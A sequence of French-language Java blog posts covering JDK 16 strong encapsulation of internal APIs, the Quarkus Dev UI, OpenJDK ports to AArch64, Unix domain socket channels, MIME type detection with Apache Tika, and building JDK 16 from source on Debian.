WARNING: Illegal reflective access by fr.lbenoit.billets.codes_sources.ReflexionProgramme (file:/media/lbenoit/DATA/opt/sources/lbenoit/blog/billet-codes-sources/2021/02/2021-02-StrongEncapsulation/target/classes/) to field java.security.KeyStore.keyStoreSpi
WARNING: Please consider reporting this to the maintainers of fr.lbenoit.billets.codes_sources.ReflexionProgramme
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
com.sun.crypto.provider.JceKeyStore@439f5b3d

En revanche, avec le renforcement de l’encapsulation, le programme ne fonctionne plus en JDK 16.

Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make field private java.security.KeyStoreSpi java.security.KeyStore.keyStoreSpi accessible: module java.base does not "opens java.security" to unnamed module @60e89085
	at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:357)
	at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
	at java.base/java.lang.reflect.Field.checkCanSetAccessible(Field.java:177)
	at java.base/java.lang.reflect.Field.setAccessible(Field.java:171)
	at fr.lbenoit.billets.codes_sources.ReflexionProgramme.main(ReflexionProgramme.java:10)

Désactiver ce renforcement

Comme évoqué plus haut, dès le JDK 9, l’équipe avait prévu une option qui permet de controller l’accès ou non à ces API.

--illegal-access=permit autorise les accès illégaux en affichant un avertissement lors du premier accès illégal du package.
--illegal-access=warn identique à permit mais l’avertissement apparait à chaque appel.
--illegal-access=debug identique à warn mais l’avertissement est accompagné d’une pile d’appel.
--illegal-access=deny interdit tous les accès illégaux.

Du JDK 9 à 15, le mode par défaut est permit. Maintenant, depuis le JDK 16, le mode par défaut est deny.

L’option est toujours disponible. Nous pouvons autoriser l’accès illégaux aux APIs internes avec le mode permit.

Si nous sommes passés par là, il est préférable de corriger le problème en passant par la valeur debug pour avoir des informations afin de corriger le problème. Sinon, c’est reculer pour mieux se prendre le mur.

En effet, la prochaine étape sera la suppression de cette option. Dans ce cas, il faudra utiliser l’option --add-open qui est beaucoup moins simple à utiliser.

La solution

En réalité, les alternatives sont arrivées tout le long des versions du JDK. Voici quelques exemples :

Utiliser la librairie Xerces externe et non la copie interne du JDK
Utiliser la librairie ASM externe et non la copie interne du JDK
sun.misc.Service par java.util.ServiceLoader depuis le JDK 6
sun.util.calendar.ZoneInfo par java.util.TimeZone depuis le JDK 8

Un gros travail avait été fait dans le JDK 9. Cette page du wiki du projet OpenJDK est très bien pour avoir les correspondances entre les API internes à ne plus utiliser et les API standard.

Le travail continue pour les méthodes sans alternatives. Par exemple, je vous parlais dans les nouveautés du JDK 15 des classes cachées. Cela est un exemple de remplacement d’une API interne par une API standard.

Pour vous aider dans ce travail, l’outil jdeps est disponible depuis le JDK 9.

Qualité et communauté

Depuis septembre 2015, Oracle a mis en place un programme qualité avec les projets open-source qui souhaitent y participer. L’objectif est que les projets puissent travailler avec les pré-versions du JDK afin de remonter des régressions ou des problèmes. Ainsi, cela peut être pris en compte par le projet OpenJDK qui y apporte des correctifs avant la disponibilité de la version.

Lors du dernier bulletin de Décembre 2020, parmi les 65 projets ayant répondu à la dernière campagne, 26 projets avaient déjà testé avec succès le passage au JDK 16. Nous avons par exemple Hibernate, Apache Lucene, Apache Tomcat

Le programme aborde tous les sujets de OpenJDK et pas seulement l’encapsulation renforcé des API internes. Cela permet d’avoir une bonne image de la communauté à ce niveau là.

Ce billet est aussi l’occassion de mettre en lumière ce travail.

Ci-dessous un extrait du rapport. Neuf projets sur les 154 participants ont rempli 11 fiches de bogue en trois mois (de septembre 2020 à décembre 2020) sur le volet JDK 16 (early access)

Le rapport est produit tous les 3 mois. Le prochain sera en mars 2020.

Conclusion

A mon avis, le JDK 16 est une bonne cible pour recevoir cette évolution pour les raisons suivantes :

Choisir le JDK 17, soit la prochaine version LTS, cela aurait pu être un frein pour l’adoption de cette version.
Choisir un JDK après le JDK 17 aurait repoussé de 3 ans ce renforcement et l’atteinte à cet objectif.
Choisir le JDK 16 permet aux librairies et frameworks qui ne sont à jour de le faire avant la sortie du JDK 17.

De plus, la mise en place du programme Qualité avec un ensemble de projet open-source permet de s’assurer que beaucoup de librairies et/ou framework fonctionne d’ores et déjà avec le JDK 16

Enfin, il est encore possible de désactiver ce renforcement comme nous l’avons évoqué plus haut. Mais cela permet de mettre la pression sur les dernières librairies récalcitrantes.

Références

Quarkus et la DevUI

dim., 14 févr. 2021 00:00:00 +0100

Table of Contents

Contexte
Comment commencer ?
La Dev UI
Comment tester ?
Références

Contexte

L’annonce de Quarkus a été faite en mars 2019 et la première release en novembre 2019. Le projet est jeune et mature par ses fondations.

Pour ceux qui connaissent déjà Quarkus, vous pouvez aller directement à la section Dev UI.

Le developpeur Java ne sera pas perdu car il va continuer à travailler avec des API connues commes JAX-RS, JPA et plein d’autres.

Pour les habitués à Spring, il existe des extensions pour assurer la compatibilité avec Spring DI, Spring Data JPA par exemple.

Le nombre d’extension est très important. Une extension est ni plus ni plus moins une dépendance du projet. Cela permet d’ajouter Hibernate, OpenAPI, Kafka.

Cependant, l’intérêt de l’extension est que cela permet de prendre en charge une partie du travail lors de la compilation pour améliorer les performances à l’exécution. Cela prend au compte aussi des opérations pour le support de GraalVM et de la compilation native.

Nous parlons souvent de Cloud Native. Mais les applications Quarkus fonctionnent avec un simple JDK et pas forcément dans un conteneur.

Comment commencer ?

Des commandes Maven existent pour la création du projet. Le plus simple, à mon avis, est de passer par le site https://code.quarkus.io/

Pour commencer, il suffit de renseigner :

Groupe Id
Artefact Id
Outil de construction : Maven ou Gradle

Puis, il suffit de choisir ces extensions.

Nous allons commencer par sélectionner uniquement l’extension RESTeasy JSON-B afin de réaliser des api REST.

Le petit avion après le nom de l’extension précise que du code d’exemple est fourni dans l’archive générée.

Nous téléchargeons et importons l’archive dans notre IDE. Et nous avons la structure du projet.

pom.xml
README.md
application.properties (dans le dossier src/main/resources)

un exemple d’implémentation JAX-RS dans le répertoire src/main/java

@Path("/hello-resteasy")
public class GreetingResource {

    @GET
    @Produces(MediaType.TEXT_PLAIN)
    public String hello() {
        return "Hello RESTEasy";
    }
}

mais aussi un test d’intégration dans le répertoire src/test/java

    @Test
    public void testHelloEndpoint() {
        given()
          .when().get("/hello-resteasy")
          .then()
             .statusCode(200)
             .body(is("Hello RESTEasy"));
    }

Pour l’exécution, il faut utiliser la cible quarkus:dev qui permet notamment la recharge automatique de l’application lors des modifications du code.

mvn package quarkus:dev

Et voila, le tour est joué. L’API est disponible.

__  ____  __  _____   ___  __ ____  ______
 --/ __ \/ / / / _ | / _ \/ //_/ / / / __/
 -/ /_/ / /_/ / __ |/ , _/ ,< / /_/ /\ \
--\___\_\____/_/ |_/_/|_/_/|_|\____/___/
            Powered by Quarkus 1.11.3.Final
2021-02-14 15:17:54,453 INFO  [io.quarkus] (Quarkus Main Thread) 2021-02-Quarkus-DevUI 1.0.0-SNAPSHOT on JVM (powered by Quarkus 1.11.3.Final) started in 0.811s. Listening on: http://localhost:8080
2021-02-14 15:17:54,454 INFO  [io.quarkus] (Quarkus Main Thread) Profile dev activated. Live Coding activated.
2021-02-14 15:17:54,454 INFO  [io.quarkus] (Quarkus Main Thread) Installed features: [cdi, resteasy, resteasy-jsonb]

Lors du démarrage, l’application précise qu’elle écoute au port 8080. En prenant notre navigateur, nous obtenons la page suivante en allant http://localhost:8080 :

La page d’accueil et les ressources statiques sont disponibles dans le répertoire src/main/resources/META-INF/resources.

Cette page nous indique que nous avons une ressource. Il nous reste simplement à cliquer sur le GET /hello-reasteasy pour appeler directement notre ressource et obtenir le message suivant : Hello RESTEasy

La Dev UI

C’est une page pour les développeurs qui a été introduite dans la version 1.11 de Quarkus (janvier 2021).

Elle est accessible via l’URI suivante /q/dev, soit l’url : http://localhost:8080/q/dev/

Elle est disponible uniquement si nous sommes en mode dev.

Voici le résultat de l’affichage de cette page :

Le principe des panneaux

La page contient un certain nombre de panneau en fonction des extensions que nous avons sélectionnées. Dans notre cas, nous avons choisi RESTEasy JSON-B, donc c’est normale d’avoir les panneaux suivants :

RESTEasy JAX-RS
RESTEasy JSON-B
ArC, pour CDI

Cela correspond bien aux fonctionnalités installées comme mentionnées lors du démarrage

...(Quarkus Main Thread) Installed features: [cdi, resteasy, resteasy-jsonb]

Nous avons des panneaux supplémentaires liés aux dépendances :

Configuration, nécessaire pour la gestion des propriétés,
RESTEasy Server Common,
JSON-B, nécessaire car nous avons choisi l’implémentation JSON-B.

L’accès aux guides

Un point intéressant est qu' à chaque panneau correspond une petite icône bleu. C’est tout simplement un lien vers le guide approprié. Cela permet donc au développeur d’avoir l’ensemble des guides nécessaires en fonction des fonctionnalités installées.

L’accès aux informations

Propriétés

Nous avons un lien vers un éditeur de configuration. Cela permet de voir l’ensemble des propriétés utilisées lors de l’exécution :

Nom de la propriété,
Valeur de la propriété,
Valeur par défaut,
Source,
Description.

La source est intéressante car cela permet de savoir comment la valeur a été configurée :

SysPropConfigSource, pour les propriétés systèmes,
EnvConfigSource, pour les variables d’environnement,
PropertiesConfigSource[source=application.properties], pour le fichier application.properties,
PropertiesConfigSource[source=Build time config], pour le fichier application.properties dont les valeurs ont été précisées lors de la compilation,
default values, pour les valeurs prenant les valeurs par défaut.

La modification de la propriété est possible avec le bouton Update. Ainsi, la propriété sera renseignée dans le fichier application.properties

CDI

Coté CDI, nous pouvons avoir des informations supplémentaires sur :

Beans
Observeurs
Beans supprimés
Intercepteurs

Par exemple, étant donné que nous avons sélectionné JSON-B, nous allons pouvoir vérifier la présence du Producteur CDI. Effectivement, nous voyons que le bean est bien présent sur la ligne n°8.

Naturellement, cela permettra de contrôler nos beans et leurs scopes.

L’accès à des URL techniques

Afin d’illuster ce point, nous allons utiliser l’extension concernant OpenAPI. Pour cela, il est nécessaire d’ajouter l’extension quarkus-smallrye-openapi

<dependency>
    <groupId>io.quarkus</groupId>
    <artifactId>quarkus-smallrye-openapi</artifactId>
</dependency>

Nous pourrons noter qu’il suffit d’enregistrer le fichier pom.xml afin que l’application télécharge les dépendances via Maven et recharge l’application automatiquement.

Au redémarrage, nous avons deux nouvelles fonctionnalités smallrye-openapi et swagger-ui.

...(Quarkus Main Thread) Installed features: [cdi, resteasy, resteasy-jsonb, smallrye-openapi, swagger-ui]

Côté Dev UI, nous avons deux nouveaux panneaux :

SmallRye OpenAPI
Swagger UI

Nous pouvons remarquer que la panneau SmallRye OpenAPI possède deux liens :

OpenAPI, lien vers l’url pour récupérer la définition OpenAPI /q/openapi
Swagger UI, lien vers la page Swagger UI /q/swagger-ui

Voici la page Swagger UI de notre projet :

Ces liens existaient déjà dans les précédentes versions de Quarkus. Cependant, il fallait se rappeller des URI ou relire le guide associé pour les retrouver.

Changement : Il a été décidé que toutes les URI techniques commencent par /q. Cela reste configurable via la propriété quarkus.http.non-application-root-path. Actuellement, une redirection est faite entre les anciennes URL et les nouvelles.

Extension

Toujours dans la lignée de Quarkus, il est possible d’étendre la Dev UI à travers le développement d’une extension. Pour cela, nous avons le guide suivant : Guide pour étendre la Dev UI

Savoir créer une extension est un pré-requis. Un guide est aussi disponible pour cela.

Comment tester ?

Le projet java contenant le code présenté dans ce billet est disponible sur github

Dépôt GitHub billets-codes-sources.

A vous de profiter des joies du développpeur !

Références

Découvrir le projet OpenJDK pour AArch64

dim., 7 févr. 2021 00:00:00 +0100

Table of Contents

Contexte
Architecture AArch64, c’est quoi ?
Portage Linux / AArch64
Portage Windows / AArch64
Portage macOS / AArch64
Références

Contexte

Dans le prochain JDK, nous avons la JEP 388 qui annonce la disponibilité d’un nouveau portage sur l’architecture Windows / AArch64. Nous avions déjà un portage sur Linux sur AArch64. Mais concrêtement, c’est quoi cette architecture, cela permet de faire tourner quoi ?.

Architecture AArch64, c’est quoi ?

Nous sommes familiers avec les signes des architectures Intel : x86 ou amd64.

Actuellement, les architectures ARM se développent fortement. Ceux sont des systèmes sur une puce (SoC en anglais pour "System on a Chip"). Ils sont notamment très utilisés dans le monde de l’embarqué (comme les Raspberry Pi par exemple) ou la téléphonie. Il offre l’avantage d’avoir une faible consommation d’énergie. C’est qui est très important dans ce monde là, par exemple, l’autonomie du téléphone en sera rallongée.

(Raspberry Pi modèle A+, source Wikipedia Commons)

La particularité technique principale est que l’architecture est de type RISC. L’objectif est d’avoir un jeu d’instructions simple et réduit. A l’inverse, les processeurs Intel sont de type CISC avec un jeu d’instructions complexes.

Le seconde particularité est que la société ARM ne fabrique pas ces processeurs. Elle vend des licences à d’autres sociétés qui fabriquent les processeurs. Par conséquent, plusieurs sociétés concurrentes exploitent les processeurs ARM dans leur système (SoC). Dans le monde du mobile, nous retrouvons Qualcomm par exemple.

Dans le temps, il y a eu plusieurs versions, celle qui nous intéressent à ce jour c’est ARMv8 qui est une architecture 64 bits. Ce qui correspond à notre fameux AArch64. En effet, les précédentes versions sont des architectures 32bits.

Il est à noter qu’à ce jour, les processeurs équipant les Raspberry PI sont uniquement des processeurs 32bits.

Coté centre de calcul, ce type d’architecture intéresse aussi les fournisseurs de services et les hébergeurs afin de réduire leurs factures d’électricités. Dans ce sens, AWS a annoncé fin 2019 qu’il allait miser sur l’architecture ARM 64bits avec leurs processeurs Graviton 2. Ils sont déclinés dans les instances M6g, C6g et R6g.

(Liste de instances AWS en choississant le processeur AWS Graviton)

Plus récemment, en juin 2020, Apple annonce la transition des processeurs Intel vers Apple silicon avec la puce M1 pour les mac. C’est une puce conçue par Apple en utilisant l’architecture ARM. Cela leur permet de se passer des processeurs Intel. Ils ont déjà de l’expérience sur ce sujet car ils conçoivent les puces pour leurs iPhone, iPad, Apple Watch. En revanche, la fabrication reste sous-traitée à des prestataires.

Ce changement d’architecture va permettre aux utilisateurs de Mac Big Sur d’exécuter des applications iPadOS et iOS.

Portage Linux / AArch64

La version binaire pour les plateformes Linux sous Architectures AArch64 est disponible par le projet OpenJDK depuis la version 15 du JDK.

Cependant, l’aventure a commencé bien plus tôt en 2011. Je vous conseille ce billet How Red Hat ported OpenJDK to 64-bit Arm: A community history

Pour en faire la synthèse, la particularité au début était qu’il n’existait pas de processeur physique. Ils ont été obligé de développer d’abord un simulateur pour faire tourner le portage de la JVM.

En 2014, Red Hat commence à fournir des premières versions à des partenaires.

En 2015, le portage AArch64 fait partie intégrant du projet OpenJDK. Oracle encourage l’initiative et les aides pour le processus d’intégration.

En parallèle, Oracle avait son propre portage des architectures ARM 32 bits et 64 bits.

En 2019, La JEP 340: One AArch64 Port, Not Two est mise en oeuvre afin d’avoir une et une seule implémentation pour les architectures 64 bits. L’objectif est d’éviter la duplication de code et de recentrer les efforts sur un portage unique. Cela est a été réalisé dans le JDK 12.

En 2020, Oracle annonce dans ce billet le support des architectures ARM 64 bits pour OpenJDK et Oracle JDK.

Ce qui permet d’expliquer pourquoi les binaires sont disponibles depuis le JDK 15.

D’autres JEPs ont été consacrées à l’amélioration des performance sous AArch64, comme par exemple la JEP 315 : Improve Aarch64 Intrinsics qui a été inclus dans le JDK 11. Le but était d’améliorer les performances des fonctions sin, cos et log de la classe java.lang.Math en prenant en compte les spécificités de cette architecture.

Portage Windows / AArch64

De son côté, Microsoft propose une version de Windows 10 fonctionnant sous de tel processeur. Le travail de l’équipe Java de Microsoft a été de porté le JDK Windows sous cette architecture. Le travail a été piloté par Monica Beckwith avec son équipe et des partenaires.

En juin 2020, Monica annonce sur la liste de diffusion hotspot-runtime-dev, les avancés de son équipe sur l’extension du support de AArch64 à Windows.

Comme l’indique la fiche JDK-8248238 Implementation: JEP 388: Windows AArch64 Support, leur travail a été intégré dans le build 19 du JDK 16.

De son coté, Bruno Borges réalise un billet pour annoncer l’arrivée du support OpenJDK sur Windows / ARM.

Portage macOS / AArch64

Comme nous l’avons évoqué dans la section Architecture AArch64. Apple commence à développer ces propres processeurs pour Mac. Pour en savoir plus, je vous conseille cet article de 01net.com

Le défi de la transition vers une nouvelle architecture est effectivement d’avoir un ensemble de logiciels disponible. Au début, le catalogue est forcément réduit par rapport à l’ancienne architecture.

La JEP 391: macOS/AArch64 Port est ouverte dans ce sens. A ce jour, il n’a pas de version du JDK cible.

Bientôt disponible au sein du projet OpenJDK. Cela reste à une histoire à suivre!

Maj 04/03/2021, Bien que la JEP 391 n’a pas de version cible, le portage macOS serait bientôt disponible. En effet, suite au retour d’un membre de l’équipe, le travail principal a été fait et il resterait seulement des détails.

En attendant, des éditeurs comme Azul Systems proposer d’ores et déjà des JDK pour ce type de cible macOS / AArch64.

(Voici leur page de téléchargement pour Zulu.)

Références

JEP 380 Unix Domain Socket Channels

dim., 31 janv. 2021 00:00:00 +0100

Table of Contents

Contexte
Illustration
Socket Channel (classique)
Socket Channel (unix domain)
Références

Contexte

Les sockets Unix sont un moyen de communication inter-processus. Ils se basent sur le système de fichiers pour leurs fonctionnements. (Et oui, tout est fichier dans l’univers Unix). Plusieurs processus peuvent ainsi communiquer ensemble sans passer par la pile réseau. Cela est pris en charge par le noyau et c’est plus performant, même si on le compare avec l’utilisation de l’interface locale.

Nous comparons avec le réseau local car la limitation est que les processus doivent être sur la même machine.

Cependant, dans le monde des conteneurs, beaucoup de processus tournent localement sur la machine. Moyennant l’accès à un système de fichiers partagés, ils pourraient ainsi utiliser ce type de socket afin d' améliorer les performances.

De plus, étant un fichier, cela permet de gérer les droits avec les permissions Unix comme n’importe quel fichier.

Pour information, il existe déjà des librairies afin de réaliser cette opération. Par exemple, le projet junixsocket, mais c’est une librairie utilisant JNI.

L’objectif est de pouvoir en bénéfier avec un simple JDK sans dépendance.

Windows 10 et Windows Server 2019 supportent aussi les sockets Unix.

Illustration

Pour illuster l’usage de ce type de socket, nous allons prendre l’exemple de PostgreSQL.

Sur une base de données PostgreSQL, nous pouvons se connecter localement au serveur de base de données sans utiliser le réseau. Par exemple, si nous utilisons la commande psql -l pour lister les bases présentes. Nous pouvons obtenir par exemple le mesage suivant :

> psql -l
psql: could not connect to server: No such file or directory
	Is the server running locally and accepting
	connections on Unix domain socket "/var/run/postgresql/.s.PGSQL.5432"?

Si maintenant, nous prenons un utilisateur qui a le droit sur le fichier, cela va fonctionner.

> psql -l
                                List of databases
    Name     |    Owner     | Encoding | Collate | Ctype |   Access privileges
-------------+--------------+----------+---------+-------+-----------------------
 postgres    | postgres     | UTF8     | C       | C     |
 template0   | postgres     | UTF8     | C       | C     | =c/postgres          +
             |              |          |         |       | postgres=CTc/postgres
 template1   | postgres     | UTF8     | C       | C     | =c/postgres          +
             |              |          |         |       | postgres=CTc/postgres

De même, si l’emplacement du fichier n’est pas celui par défaut, nous pouvons utiliser la variable PGHOST pour définir le chemin. Il faudra toujours que l’utilisateur possède les droits sur le fichier.

export PGHOST=/var/run/postgresql/srv

Cela va permettre d’accorder des privilièges particuliers si nous sommes connectés à la machine en SSH. Ainsi, nous allons pouvoir au contraire réduire les accès au minimum côté réseau.

Socket Channel (classique)

Revenons à Java et notamment au code associé à cette évolution. Mais avant, pour mieux comprendre la différence, regardons le code pour la création d’une socket classique, nous avons le code suivant coté serveur :

ServerSocketChannel ssc = ServerSocketChannel.open(/*StandardProtocolFamily.INET*/);
ssc.bind(new InetSocketAddress("127.0.0.1", 8085));
while ( true ) {
  SocketChannel socketChannel = ssc.accept();
  // Utilisation du SocketChannel sc
  ...
}

Coté client, nous avons le code suivant :

SocketChannel sc = SocketChannel.open(/*StandardProtocolFamily.INET*/);
sc.connect(new InetSocketAddress("127.0.0.1", 8085));
// Utilisation du SocketChannel sc
...

La méthode SocketChannel.open() et ServerSocketChannel peuvent prendre un paramètre : ProtocolFamily. Avant le JDK 16, nous avons le choix entre StandardProtocolFamily.INET et StandardProtocolFamily.INET6 en fonction si nous souhaitons utiliser IPv4 ou IPv6. Sans argument, la JVM choisit le protocole en fonction de la présence ou non du support d’IPv6

Nous pouvons utiliser :

L’api Stream (InputStream / OutputStream) de la socket avec la méthode SocketChannel.getSocket()`.
L’api ByteByffer

Socket Channel (unix domain)

Coté socket Unix, cela n’est pas plus compliqué. Nous avons une nouvelle famille de protocole StandardProtocolFamily.UNIX et nous avons une classe qui représente l’adresse correspondante, soit un simple fichier.

ServerSocketChannel ssc = ServerSocketChannel.open(StandardProtocolFamily.UNIX);
ssc.bind(UnixDomainSocketAddress.of("/tmp/mon-sock"));
while ( true ) {
  SocketChannel sc = ssc.accept();
  // Utilisation du SocketChannel sc
  ...
}

Coté client, nous avons le code suivant :

SocketChannel sc = SocketChannel.open(StandardProtocolFamily.UNIX);
sc.connect(UnixDomainSocketAddress.of("/tmp/mon-sock"));
// Utilisation du SocketChannel sc
...

Seul, l’API ByteBuffer est disponible.

La méthode SocketChannel.getSocket() n’est pas implémentée.

Références

Comment récupérer le type MIME des fichiers ?

dim., 24 janv. 2021 00:00:00 +0100

Table of Contents

Contexte
Solution Apache Tika
Solution JDK
Amélioration de la solution JDK
- Solution existante
- Compléments
Références

Contexte

Dans le cadre d’un projet, j’ai eu besoin de déterminer le type MIME des fichiers. Je suis parti à la recherche de solution pour résoudre ce point. J’ai trouvé la librairie Apache Tika mais des solutions existent dans le JDK.

Solution Apache Tika

La librairie Apache Tika est un outil pour analyser le contenu des fichiers (détection, extraction des métadonnées ou du contenu de texte structuré).

Pour cela, il suffit d’inclure la librairie suivante :

<dependency>
  <groupId>org.apache.tika</groupId>
  <artifactId>tika-core</artifactId>
  <version>1.25</version>
</dependency>

Ensuite, le code est très simple car la librairie propose une classe Facade Tika qui fournit un certain nombre de services dont celui qui nous intéresse.

import org.apache.tika.Tika;

String typeMime = new Tika().detect(new File("/emplacement/de/mon/fichier"));
System.out.println("Type Mime trouvé : " + typeMime);

Solution JDK

Depuis le JDK 7, il existe déjà une solution pour détecter le type MIME. En effet, la classe Files possède une méthode statique probeContentType

import java.nio.file.Files;

String typeMime = Files.probeContentType(Path.of("/emplacement/de/mon/fichier"));
System.out.println("Type Mime trouvé : " + typeMime);

Cela fonctionne très bien mais il possède malheureusement des limites.

L’implémentation existante se base sur la RFC 2045: Multipurpose Internet Mail Extensions (MIME) Part One: Format of Internet Message Bodies. La détection est réalisée sur le nom du fichier.

Cela implique que le contenu du fichier n’est pas exploité. L’effet de bord est que cela fonctionne même si le fichier n’existe pas.

C’est à dire que le même fichier (même contenu) va produire des résultats différents en fonction du nom de ce dernier.

 - mon-fichier.xml     => application/xml
 - mon-fichier.xml.txt => text/plain
 - mon-fichier         => null

Amélioration de la solution JDK

Le JDK offre une classe abstraite java.nio.file.spi.FileTypeDetector qui permet d’enrichir le système de détection par défaut.

Donc nous pouvons implémenter un détecteur utilisant la librairie Apache Tika.

public class TikaFileTypeDetector extends FileTypeDetector {

	@Override
	public String probeContentType(Path path) throws IOException {
		return new Tika().detect(path);
	}

}

Le principe d’extension utilise le mécanisme de ServiceLoader afin que le JDK utilise notre classe. C’est à dire que nous allons créer un répertoire META-INF/services et y placer le fichier s’appelant le nom de l’interface java.nio.file.spi.FileTypeDetector contenant le nom de notre classe d’implémentation et le tour est joué.

Ainsi, notre code utilise seulement le JDK sans dépendance externe et nous bénéficions des avantages de détection de la librarie Apache Tika.

Solution existante

Le projet Apache Tika a prévu aussi cette mise en oeuvre et l’a fait pour nous. Pour l’utiliser, il suffit de choisir le module tika-java7.

<dependency>
  <groupId>org.apache.tika</groupId>
  <artifactId>tika-java7</artifactId>
  <version>1.25</version>
</dependency>

En important le module tika-java7, nous n’avons plus besoin d’importer le module tika-core

Le nom du module peut améner une confusion en suggérant que le module fonctionne uniquement avec un JDK 7. Et bien non, la signification -java7 indique simplement que la librairie implémente la classe abstraite FileTypeDetector ajoutée dans le JDK 7.

Compléments

Au niveau de la librairie Apache Tika, il est à noter une différence de traitement si nous passons en argument une instance de String ou une instance de File à la méhode detect

Si le paramètre est un String, cela implique une détection par le nom
Si le paramètre est un File, cela implique une détection par le contenu

Bonne détection !

Références

Construire son propre JDK

dim., 10 janv. 2021 00:00:00 +0100

Table of Contents

Contexte
Environnement
- Linux
- Git
- Outils de compilation
- JDK
Les étapes.
Références

Contexte

Les binaires du JDK sont disponible sur le site du JDK mais il est maintenu tant qu’une nouvelle version n’était pas sortie. Par exemple, lors de l’écriture de ce billet, c’est le JDK 15 qui est disponible. Il le restera tant que le JDK 16 n’est pas sortie. Ce dernier est disponible uniquement en accès anticipé.

Il existe aussi plusieurs fournisseurs dont votre distribution préférée si vous êtes sur Linux. Sinon, je vous conseille fortement, le projet AdoptOpenJDK initié par London Java Community.

Lors de mes conférences sur la migration Java 11 (Marseille, Bordeaux ou Paris), j’ai eu l’occassion de signaler qu’il était aussi possible de compiler son propre JDK puisque les sources sont disponibles en GPL.

Le déclic est venu lors des annonces de la JEP 358 Helpfull NullPointerException dans le JDK14, j’ai eu envie de tester moi-même cette fonctionnalité. Cependant, elle n’était pas encore intégrée dans une version en accès anticipé. Cela a été l’occassion de se lancer et d’écrire ce billet sur cette fonctionnalité. J’ai utilisé les diapositives de José Paumard qui a utilisé à Devoxx France 2019.

Maintenant, cela est encore plus simple depuis le projet Skara et la migration sur Git des sources du JDK. Plus besoin du client mercurial et des connaissances dessus. Si vous voulez plus d’informations sur le projet Skara et/ou la migration sur GIT

Environnement

Linux

Debianiste, je vais travailler naturellement sur mon environnement préféré : Debian Buster

Git

Le code source est disponible à l’adresse suivante : https://git.openjdk.java.net/jdk

Il suffira de choisir son dépôt. Nous prendrons le dépôt correspondant au prochain JDK, soit https://git.openjdk.java.net/jdk16.git

Outils de compilation

Une partie du JDK est écrit en C++, il est donc naturel d’avoir besoin des outils de compilation de Linux. Les outils sont les classiques sur votre distribution.

Nous le verrons, nous aurons besoin de certains librairies de dev pour réaliser les compilations. Ces packages sont reconnaissables car leur nom fini par -dev. Nous avons par exemple le package libx11-dev pour l’interface graphique X11. Elle contient notamment les en-têtes nécessaires pour la phase de compilation.

Le JDK utilise l’outil configure pour préparer la compilation et s’assurer que les pré-requis sont présents. Si cela n’est pas le cas, un message d’erreur sera affiché.

Autoconf is not found on the PATH (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin), and AUTOCONF is not set.
You need autoconf to be able to generate a runnable configure script.
You might be able to fix this by running 'sudo apt-get install autoconf'.
Error: Cannot find autoconf

L’erreur indique bien que l’outil autoconf n’a pas été trouvé. Il est nécessaire de l’installer avec la commande suivante :

apt-get install autoconf

JDK

Pour compiler un JDK, il faut un JDK. C’est ce que l’on appelle le "Boot JDK". Cela peut paraître paradoxalement, mais en réalité, c’est très logique. La plupart du code du JDK est du Java (cf le graphique ci-dessous)

Il est donc nécessaire d’avoir un JDK pour compiler le code Java.

Les étapes.

1. Préambule

J’utilise une VM Debian Buster minimale. Donc j’ai naturellement besoin d’installer l’outil Git et l’outil de compression Zip.

apt-get install git zip

2. Récupération des sources

Je passe ensuite à la récupération effective des sources :

cd /opt
mkdir sources
cd sources
git clone https://git.openjdk.java.net/jdk16.git

3. Récupération du JDK

Comme précisé plus haut, il est nécessaire d’avoir un JDK. Pour cela, il faut un JDK N-1 ou N-2 pour réaliser la compilation. Donc pour le JDK 16, je vais prendre un JDK 15 auprès du projet AdoptOpenJDK.

cd /opt
wget https://github.com/AdoptOpenJDK/openjdk15-binaries/releases/download/jdk-15.0.1%2B9/OpenJDK15U-jdk_x64_linux_hotspot_15.0.1_9.tar.gz
tar xzvf OpenJDK15U-jdk_x64_linux_hotspot_15.0.1_9.tar.gz
export JAVA_HOME=/opt/jdk-15.0.1+9/

4. Configuration des outils

Comme cité plus haut, vous pouvez utiliser l’outil configure pour vérifier les pré-requis et savoir ce qu’il vous manque. Ainsi, vous pouvez les installer au fur et à mesure. Dans ce chapitre, vous trouverez toute la liste selon les catégories.

Il faut passer maintenant à l’installation des outils de compilation Linux.

apt-get install autoconf build-essential

Nous installons aussi les libraires nécessaires

Librairies X11

apt-get install libx11-dev libxext-dev libxrender-dev libxrandr-dev libxtst-dev libxt-dev

Librairie CUPS (Imprimante)

apt-get install libcups2-dev

Librairie pour la configuration des polices

apt-get install libfontconfig1-dev

Librairie Alsa pour le son

apt-get install libasound2-dev

Tous les pré-requis sont là, vous pouvez exécuter la commande configure pour valider cette étape.

cd /opt/sources/jdk16
bash configure

Si tout est ok, vous obtenez un résumé de votre configuration

====================================================
A new configuration has been successfully created in
/opt/sources/jdk16/build/linux-x86_64-server-release
using default settings.

Configuration summary:
* Name:           linux-x86_64-server-release
* Debug level:    release
* HS debug level: product
* JVM variants:   server
* JVM features:   server: 'aot cds compiler1 compiler2 epsilongc g1gc graal jfr jni-check jvmci jvmti management nmt parallelgc serialgc services shenandoahgc vm-structs zgc'
* OpenJDK target: OS: linux, CPU architecture: x86, address length: 64
* Version string: 16-internal+0-adhoc.root.jdk16 (16-internal)

Tools summary:
* Boot JDK:       openjdk version "15.0.1" 2020-10-20 OpenJDK Runtime Environment AdoptOpenJDK (build 15.0.1+9) OpenJDK 64-Bit Server VM AdoptOpenJDK (build 15.0.1+9, mixed mode, sharing) (at /opt/jdk-15.0.1+9)
* Toolchain:      gcc (GNU Compiler Collection)
* C Compiler:     Version 8.3.0 (at /usr/bin/gcc)
* C++ Compiler:   Version 8.3.0 (at /usr/bin/g++)

Build performance summary:
* Cores to use:   1
* Memory limit:   1009 MB

Vous pourrez remarquer que j’ai pris une petite VM avec 1 Cpu et 1Go. La configuration recommandée est 2-4 coeurs et 2-4 Go (Plus vous avez des CPU, plus vous avez besoin de Mémoire)

5. Lancement de la compilation

Tout est bon, nous pouvons lancer la commande pour la compilation :

cd /opt/sources/jdk16
make images

Voici la sortie console de l’exécution de la commande.

Building target 'images' in configuration 'linux-x86_64-server-release'
Compiling 8 files for BUILD_TOOLS_LANGTOOLS
Compiling 16 properties into resource bundles for jdk.compiler
Parsing 2 properties into enum-like class for jdk.compiler
